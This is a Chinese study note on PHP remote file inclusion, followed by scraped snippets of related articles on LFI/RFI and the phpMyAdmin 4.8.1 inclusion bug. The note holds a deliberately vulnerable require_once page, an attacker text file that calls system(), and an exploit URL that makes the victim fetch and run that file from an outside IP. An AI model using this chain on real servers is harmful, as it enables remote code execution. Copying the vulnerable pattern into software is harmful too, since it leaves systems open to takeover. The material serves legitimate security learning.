php远程文件包含截断问题

今天在学习《白帽子讲web安全》一书是,提到一个php远程文件包含漏洞

可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令

服务器中有漏洞的页面代码为:

#test.php#error_reporting(0);
$route="share";
$basePath=$_GET[‘param‘];
if ($route == "share")
{
    require_once $basePath.‘/action/mshare.php‘;
}
elseif ($route == "sharelink")
{
    require_once $basePath.‘/action/m_shareliink.php‘;
}

攻击者服务器中的攻击脚本为:

#test1.txt<?php
system("ver;");  #此处可以自己定义要执行的命令
?>

攻击者可以构造如下url远程调用攻击者服务器上的攻击脚本:

/test.php/?param=http://23.105.202.153/test.txt?

最后的问号会截断require_once在$basePath参数后的字符串

这里有一个问题,就是攻击者的攻击脚本只能保存为txt格式,而不能保存为php格式,否则会导致攻击脚本无法在受害者机器上运行。

还有一个问题需要解决,就是无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,则会导致无法截断,这一问题需要解决。

时间: 2024-12-26 13:00:55

php远程文件包含截断问题的相关文章

【转载】PHP本地文件包含和远程文件包含漏洞

远程文件包含(Remote File Inclusion),简称RFI,与其对应的是本地文件包含(Local File Inclusion,LFI),它们都是通过PHP的包含函数即:require(),require_once(),include()和include_once()来使用. 一般情况下,用户通过包含函数将具有特定功能的函数或类包含到当前脚本中,是没有什么问题的.但是有时候,为了方便,需要动态的包含文件,这就会留下一些攻击漏洞. 通常情况下,LFI攻击威胁不大,因为本地服务器上的文件

利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1 前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件.但是使用SMB依旧可以加载. 攻击思路 攻击者需要

记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag in ffffllllaaaagggg 再回过头来观察source.php明显是一道代码审计的问题,其中存在4个限制条件 $_REQUEST['file']需要在白名单内,白名单内只有source.php和hint.php $_REQUEST['file']不为空 $_REQUEST['file']必

php本地及远程文件包含漏洞

在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏洞,例如: http://192.168.2.109/DVWA-1.9/vulnerabilities/fi/?page=include.php 这个连接是正常的连接,但是如果在page后面访问的如果是C:\XXX文件,这样就是php的一个漏洞,如何去防御这种注入 有很多人说把allow_url_f

DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)

原文地址:https://www.cnblogs.com/yuzly/p/11332644.html

phpmyadmin4.8.1远程文件包含漏洞

phpmyadmin index.php中 (1)是一个非空字符串: (2)不能以 index 开头: (3)不能在黑名单数组 $target_blacklist 中: (4)要满足 checkPageValidity() 函数 checkpagevalidity函数 查看白名单 第一个返回true的地方 page参数需要在白名单中. 第二个返回true的地方 mb_strops函数:stroup(s1,s2) 查找s2在s1中第一次出现的位置 mb_substr(s1,s2,s3) 是截取在字

PHP文件包含漏洞总结

0x00 前言 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入.最常见的就属于本地文件包含(Local File Inclusion)漏洞了. 我们来看下面一段index.php代码: if ($_GET['func']) { include $_GET['func']; } else { include 'default.php'; } 程序的本意可能是当提交url为http:

PHP文件包含漏洞利用

PHP文件包含漏洞利用 一.PHP配置在文件包含中的运用 文件包含漏洞即 当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell).而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分.allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LF

PHP文件包含漏洞

php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入. 基本的代码: If($_GET['func']) { Include $_GET['func'] } Else { Include 'default.php' } 本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php 如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕